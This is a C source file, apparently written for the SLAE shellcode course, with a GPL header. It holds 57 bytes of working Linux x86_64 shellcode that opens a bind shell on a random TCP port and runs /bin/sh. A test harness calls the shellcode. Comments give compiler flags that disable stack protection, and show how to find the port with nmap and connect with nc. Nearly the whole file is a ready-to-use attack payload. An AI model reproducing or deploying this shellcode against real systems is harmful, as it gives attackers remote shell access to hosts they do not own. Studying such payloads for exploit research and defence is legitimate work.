/* Shell Bind TCP Random Port Shellcode - C Language - Linux/x86_64 Copyright (C) 2013 Geyslan G. Bem, Hacking bits http://hackingbits.com geyslan@gmail.com This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/> */ /* shell_bind_tcp_random_port_shellcode_x86_64 assembly source: https://github.com/geyslan/SLAE/blob/master/improvements/shell_bind_tcp_random_port_x86_64.asm * 57 bytes * null-free # gcc -m64 -fno-stack-protector -z execstack shell_bind_tcp_random_port_shellcode_x86_64.c -o shell_bind_tcp_random_port_shellcode_x86_64 Testing # ./shell_bind_tcp_random_port_shellcode_x86_64 # netstat -anp | grep shell # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode) # nc 127.0.0.1 port */ #include <stdio.h> #include <string.h> unsigned char code[] = \ "\x48\x31\xf6\x48\xf7\xe6\xff\xc6\x6a\x02" "\x5f\xb0\x29\x0f\x05\x52\x5e\x50\x5f\xb0" "\x32\x0f\x05\xb0\x2b\x0f\x05\x57\x5e\x48" "\x97\xff\xce\xb0\x21\x0f\x05\x75\xf8\x52" "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" "\x57\x54\x5f\xb0\x3b\x0f\x05"; main () { // When contains null bytes, printf will show a wrong shellcode length. printf("Shellcode Length: %d\n", strlen(code)); // Pollutes all registers ensuring that the shellcode runs in any circumstance. __asm__ ("mov $0xffffffffffffffff, %rax\n\t" "mov %rax, %rbx\n\t" "mov %rax, %rcx\n\t" "mov %rax, %rdx\n\t" "mov %rax, %rsi\n\t" "mov %rax, %rdi\n\t" "mov %rax, %rbp\n\t" // Calling the shellcode "call code"); }